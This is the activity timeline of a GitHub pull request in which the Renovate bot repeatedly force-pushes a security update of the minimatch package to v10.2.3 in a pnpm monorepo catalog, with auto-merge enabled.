@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Apr 27, 2026
@renovaterenovateBot reopened this Apr 27, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 32cacb3 to a1528a4CompareApril 29, 2026 09:42
@renovate
renovateBot enabled auto-merge (squash) April 29, 2026 09:42
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 46d0576 to 2af224dCompareMay 18, 2026 12:41
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from b3fbe6f to d9d01ccCompareJune 1, 2026 20:18
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from d9d01cc to ef90e24CompareJune 11, 2026 11:17
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 72e554c to 633c002CompareJuly 24, 2026 22:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 1abc0da to e1d038aCompareJuly 30, 2026 18:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from e1d038a to 453fd3cCompareAugust 12, 2026 04:19
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 453fd3c to a853fb9CompareAugust 14, 2026 21:11
Sign up for freeto subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants